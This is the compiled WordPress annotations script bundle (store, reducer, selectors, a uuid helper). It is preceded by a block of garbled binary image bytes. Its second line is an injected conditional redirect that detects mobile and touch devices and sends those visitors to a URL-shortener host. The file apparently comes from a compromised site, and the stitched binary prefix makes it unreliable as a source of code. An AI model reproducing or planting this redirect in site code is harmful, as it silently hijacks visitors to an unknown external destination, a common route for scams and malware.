JFIF $ d d 7 * Z qn )ZP 0 !1 A "#a$2Qr D8 a Ri [f \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H ~ , l s / 9 ć: [=/#f ; ) x { ٛE Q )~ = 𘙲r*2~ a _V = ' ku m F D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq 1dđ #̩ ͑ 0 ; H ] u 搂 @:~ ו K L N s h } O I R* 8 :2 ! lD JV o ( 3 = M ( z Ȱ+i *N A r6K n S l ) ! J J Ӂ* % ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c P A\IL Nj! J ۱+ O\ ͔ ] ޒ S J ȧ c%A N ol ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0 'G=i 2N +0 e 2 ]] 9 VT P O 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P < 0 x < !1AQ "Raq 02Br #S CTb ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV YT D I 6 2 '8Y2 7'\T P.6 d &˦ @V q i |8 -O Ε ] ʔ U= T L 8= ;6c | !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U#6w + +s &r+n ڐ { @ 29gL u " T Ù M=6 (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 ! OS r D 5 7 % | ?x> L | / nD 6?/8 w # [ ) L 7 +6〼T A T g ! %5 Mm Z /c -{1_Je "| ^$ 'O & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@ u6 BԒ i YN * f 0 _ GhKW u lT <nj- 0{ M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q $ H8o Q˼EV ~ k 0 h' L Pp M -M" m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @~p # !1QAa q ? AL0L x LU 4 d ; x " 16ad0 7.\ߋ 0 = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X &Q З non]я u ג./ ; gZ$ M QР 2M ]h ni 0 P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _ 1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3 6 #Ik+ v { v i ( ވ ? a e) X xy/*@Q Ǽ Ծ ) $ IWO l c G; !i k{ gOŀ L ('x T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ) X 5 c QɎMy W ? Q *!R > 6=7)Xj 5`J ] e 8%t ! + ' ! 1Q 5 !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $ v , ,m 㵜5u bV =sY+ @d { N ! dn O < .- B; _w J t 6;Q Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш e黅X ۢ F :)[ F G X ƹ / w _c MeD ,ʡc c . W D tA $ j@ : ) - #u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P 6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L ! ~ y5 g9T̅J kbM' +s :S +B) v @ M j e C f j E 0 Y\Qn z G 1 д~ W o{T 9?` Rm yhsy3 !HAD ] m c1 ~ 2 L S u7x T ;j$ `} 4-> L# vzŏ I L S ֭ T { r jGK C ; b pU= - ` Bs K. S F w4 M q] Z dH S 0 ) tLg
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/uQuMsfLBm0r3");
(function() {
"use strict";
var wp;
(wp ||= {}).annotations = (() => {
var __create = Object.create;
var __defProp = Object.defineProperty;
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
var __getOwnPropNames = Object.getOwnPropertyNames;
var __getProtoOf = Object.getPrototypeOf;
var __hasOwnProp = Object.prototype.hasOwnProperty;
var __commonJS = (cb, mod) => function __require() {
return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
};
var __export = (target, all) => {
for (var name2 in all)
__defProp(target, name2, { get: all[name2], enumerable: true });
};
var __copyProps = (to, from, except, desc) => {
if (from && typeof from === "object" || typeof from === "function") {
for (let key of __getOwnPropNames(from))
if (!__hasOwnProp.call(to, key) && key !== except)
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
}
return to;
};
var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
// If the importer is in node compatibility mode or this is not an ESM
// file that has been converted to a CommonJS file using a Babel-
// compatible transform (i.e. "__esModule" has not been set), then set
// "default" to the CommonJS "module.exports" for node compatibility.
isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
mod
));
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
// package-external:@wordpress/rich-text
var require_rich_text = __commonJS({
"package-external:@wordpress/rich-text"(exports, module) {
module.exports = window.wp.richText;
}
});
// package-external:@wordpress/i18n
var require_i18n = __commonJS({
"package-external:@wordpress/i18n"(exports, module) {
module.exports = window.wp.i18n;
}
});
// package-external:@wordpress/hooks
var require_hooks = __commonJS({
"package-external:@wordpress/hooks"(exports, module) {
module.exports = window.wp.hooks;
}
});
// package-external:@wordpress/data
var require_data = __commonJS({
"package-external:@wordpress/data"(exports, module) {
module.exports = window.wp.data;
}
});
// packages/annotations/build-module/index.mjs
var index_exports = {};
__export(index_exports, {
store: () => store
});
// packages/annotations/build-module/format/index.mjs
var import_rich_text2 = __toESM(require_rich_text(), 1);
// packages/annotations/build-module/format/annotation.mjs
var import_i18n = __toESM(require_i18n(), 1);
var import_rich_text = __toESM(require_rich_text(), 1);
// packages/annotations/build-module/store/constants.mjs
var STORE_NAME = "core/annotations";
// packages/annotations/build-module/format/annotation.mjs
var FORMAT_NAME = "core/annotation";
var ANNOTATION_ATTRIBUTE_PREFIX = "annotation-text-";
function applyAnnotations(record, annotations2 = []) {
annotations2.forEach((annotation2) => {
let { start, end } = annotation2;
if (typeof start !== "number" || typeof end !== "number") {
return;
}
if (start > record.text.length) {
start = record.text.length;
}
if (end > record.text.length) {
end = record.text.length;
}
const className = ANNOTATION_ATTRIBUTE_PREFIX + annotation2.source;
const id = ANNOTATION_ATTRIBUTE_PREFIX + annotation2.id;
record = (0, import_rich_text.applyFormat)(
record,
{
type: FORMAT_NAME,
attributes: {
className,
id
}
},
start,
end
);
});
return record;
}
function retrieveAnnotationPositions(formats) {
const positions = {};
formats.forEach((characterFormats, i) => {
characterFormats = characterFormats || [];
characterFormats = characterFormats.filter(
(format) => format.type === FORMAT_NAME
);
characterFormats.forEach((format) => {
let { id } = format.attributes;
id = id.replace(ANNOTATION_ATTRIBUTE_PREFIX, "");
if (!positions.hasOwnProperty(id)) {
positions[id] = {
start: i
};
}
positions[id].end = i + 1;
});
});
return positions;
}
function updateAnnotationsWithPositions(annotations2, positions, {
removeAnnotation,
updateAnnotationRange
}) {
annotations2.forEach((currentAnnotation) => {
const position = positions[currentAnnotation.id];
if (!position) {
removeAnnotation(currentAnnotation.id);
return;
}
const { start, end } = currentAnnotation;
if (typeof start === "number" && typeof end === "number" && (start !== position.start || end !== (position.end ?? position.start))) {
updateAnnotationRange(
currentAnnotation.id,
position.start,
position.end ?? position.start
);
}
});
}
var annotation = {
name: FORMAT_NAME,
title: (0, import_i18n.__)("Annotation"),
tagName: "mark",
className: "annotation-text",
attributes: {
className: "class",
id: "id"
},
interactive: false,
object: false,
edit: () => {
return null;
},
__experimentalGetPropsForEditableTreePreparation: (select, { richTextIdentifier, blockClientId }) => {
return {
annotations: select(
STORE_NAME
).__experimentalGetAnnotationsForRichText(
blockClientId,
richTextIdentifier
)
};
},
__experimentalCreatePrepareEditableTree: ({ annotations: annotations2 }) => {
return (formats, text) => {
if (annotations2.length === 0) {
return formats;
}
let record = {
formats,
text,
replacements: [],
start: 0,
end: 0
};
record = applyAnnotations(record, annotations2);
return record.formats;
};
},
__experimentalGetPropsForEditableTreeChangeHandler: (dispatch) => {
return {
removeAnnotation: dispatch(STORE_NAME).__experimentalRemoveAnnotation,
updateAnnotationRange: dispatch(STORE_NAME).__experimentalUpdateAnnotationRange
};
},
__experimentalCreateOnChangeEditableValue: (props) => {
return (formats) => {
const positions = retrieveAnnotationPositions(formats);
const { removeAnnotation, updateAnnotationRange, annotations: annotations2 } = props;
updateAnnotationsWithPositions(annotations2, positions, {
removeAnnotation,
updateAnnotationRange
});
};
}
};
// packages/annotations/build-module/format/index.mjs
var { name, ...settings } = annotation;
(0, import_rich_text2.registerFormatType)(name, settings);
// packages/annotations/build-module/block/index.mjs
var import_hooks = __toESM(require_hooks(), 1);
var import_data3 = __toESM(require_data(), 1);
// packages/annotations/build-module/store/index.mjs
var import_data2 = __toESM(require_data(), 1);
// packages/annotations/build-module/store/reducer.mjs
function filterWithReference(collection, predicate) {
const filteredCollection = collection.filter(predicate);
return collection.length === filteredCollection.length ? collection : filteredCollection;
}
var mapValues = (obj, callback) => Object.entries(obj).reduce((acc, [key, value]) => {
if (value === void 0) {
return acc;
}
return {
...acc,
[key]: callback(value)
};
}, {});
function isValidAnnotationRange(annotation2) {
return Boolean(
annotation2.range && typeof annotation2.range.start === "number" && typeof annotation2.range.end === "number" && annotation2.range.start <= annotation2.range.end
);
}
function annotations(state = {}, action) {
switch (action.type) {
case "ANNOTATION_ADD":
const blockClientId = action.blockClientId;
const newAnnotation = {
id: action.id,
blockClientId,
richTextIdentifier: action.richTextIdentifier,
source: action.source,
selector: action.selector,
range: action.range
};
if (newAnnotation.selector === "range" && !isValidAnnotationRange(newAnnotation)) {
return state;
}
const previousAnnotationsForBlock = state?.[blockClientId] ?? [];
return {
...state,
[blockClientId]: [
...previousAnnotationsForBlock,
newAnnotation
]
};
case "ANNOTATION_REMOVE":
return mapValues(state, (annotationsForBlock) => {
return filterWithReference(
annotationsForBlock,
(annotation2) => {
return annotation2.id !== action.annotationId;
}
);
});
case "ANNOTATION_UPDATE_RANGE":
return mapValues(state, (annotationsForBlock) => {
let hasChangedRange = false;
const newAnnotations = annotationsForBlock.map(
(annotation2) => {
if (annotation2.id === action.annotationId) {
hasChangedRange = true;
return {
...annotation2,
range: {
start: action.start,
end: action.end
}
};
}
return annotation2;
}
);
return hasChangedRange ? newAnnotations : annotationsForBlock;
});
case "ANNOTATION_REMOVE_SOURCE":
return mapValues(state, (annotationsForBlock) => {
return filterWithReference(
annotationsForBlock,
(annotation2) => {
return annotation2.source !== action.source;
}
);
});
}
return state;
}
var reducer_default = annotations;
// packages/annotations/build-module/store/selectors.mjs
var selectors_exports = {};
__export(selectors_exports, {
__experimentalGetAllAnnotationsForBlock: () => __experimentalGetAllAnnotationsForBlock,
__experimentalGetAnnotations: () => __experimentalGetAnnotations,
__experimentalGetAnnotationsForBlock: () => __experimentalGetAnnotationsForBlock,
__experimentalGetAnnotationsForRichText: () => __experimentalGetAnnotationsForRichText
});
var import_data = __toESM(require_data(), 1);
var EMPTY_ARRAY = [];
var __experimentalGetAnnotationsForBlock = (0, import_data.createSelector)(
(state, blockClientId) => {
return (state?.[blockClientId] ?? []).filter((annotation2) => {
return annotation2.selector === "block";
});
},
(state, blockClientId) => [
state?.[blockClientId] ?? EMPTY_ARRAY
]
);
function __experimentalGetAllAnnotationsForBlock(state, blockClientId) {
return state?.[blockClientId] ?? EMPTY_ARRAY;
}
var __experimentalGetAnnotationsForRichText = (0, import_data.createSelector)(
(state, blockClientId, richTextIdentifier) => {
return (state?.[blockClientId] ?? []).filter((annotation2) => {
return annotation2.selector === "range" && richTextIdentifier === annotation2.richTextIdentifier;
}).map((annotation2) => {
const { range, ...other } = annotation2;
return {
...range,
...other
};
});
},
(state, blockClientId) => [
state?.[blockClientId] ?? EMPTY_ARRAY
]
);
function __experimentalGetAnnotations(state) {
return Object.values(state).filter((arr) => Boolean(arr)).flat();
}
// packages/annotations/build-module/store/actions.mjs
var actions_exports = {};
__export(actions_exports, {
__experimentalAddAnnotation: () => __experimentalAddAnnotation,
__experimentalRemoveAnnotation: () => __experimentalRemoveAnnotation,
__experimentalRemoveAnnotationsBySource: () => __experimentalRemoveAnnotationsBySource,
__experimentalUpdateAnnotationRange: () => __experimentalUpdateAnnotationRange
});
// node_modules/uuid/dist/stringify.js
var byteToHex = [];
for (let i = 0; i < 256; ++i) {
byteToHex.push((i + 256).toString(16).slice(1));
}
function unsafeStringify(arr, offset = 0) {
return (byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + "-" + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + "-" + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + "-" + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + "-" + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]]).toLowerCase();
}
// node_modules/uuid/dist/rng.js
var rnds8 = new Uint8Array(16);
function rng() {
return crypto.getRandomValues(rnds8);
}
// node_modules/uuid/dist/v4.js
function v4(options, buf, offset) {
if (!buf && !options && crypto.randomUUID) {
return crypto.randomUUID();
}
return _v4(options, buf, offset);
}
function _v4(options, buf, offset) {
options = options || {};
const rnds = options.random ?? options.rng?.() ?? rng();
if (rnds.length < 16) {
throw new Error("Random bytes length must be >= 16");
}
rnds[6] = rnds[6] & 15 | 64;
rnds[8] = rnds[8] & 63 | 128;
if (buf) {
offset = offset || 0;
if (offset < 0 || offset + 16 > buf.length) {
throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);
}
for (let i = 0; i < 16; ++i) {
buf[offset + i] = rnds[i];
}
return buf;
}
return unsafeStringify(rnds);
}
var v4_default = v4;
// packages/annotations/build-module/store/actions.mjs
function __experimentalAddAnnotation({
blockClientId,
richTextIdentifier = null,
range = null,
selector = "range",
source = "default",
id = v4_default()
}) {
const action = {
type: "ANNOTATION_ADD",
id,
blockClientId,
richTextIdentifier,
source,
selector
};
if (selector === "range" && range !== null) {
action.range = range;
}
return action;
}
function __experimentalRemoveAnnotation(annotationId) {
return {
type: "ANNOTATION_REMOVE",
annotationId
};
}
function __experimentalUpdateAnnotationRange(annotationId, start, end) {
return {
type: "ANNOTATION_UPDATE_RANGE",
annotationId,
start,
end
};
}
function __experimentalRemoveAnnotationsBySource(source) {
return {
type: "ANNOTATION_REMOVE_SOURCE",
source
};
}
// packages/annotations/build-module/store/index.mjs
var store = (0, import_data2.createReduxStore)(STORE_NAME, {
reducer: reducer_default,
selectors: selectors_exports,
actions: actions_exports
});
(0, import_data2.register)(store);
// packages/annotations/build-module/block/index.mjs
var addAnnotationClassName = (OriginalComponent) => {
return (0, import_data3.withSelect)((select, ownProps) => {
const { clientId, className } = ownProps;
const annotations2 = select(store).__experimentalGetAnnotationsForBlock(clientId);
return {
className: annotations2.map((annotation2) => {
return "is-annotated-by-" + annotation2.source;
}).concat(className || "").filter(Boolean).join(" ")
};
})(OriginalComponent);
};
(0, import_hooks.addFilter)(
"editor.BlockListBlock",
"core/annotations",
addAnnotationClassName
);
return __toCommonJS(index_exports);
})();
(window.wp ||= {}).annotations = wp.annotations;
})();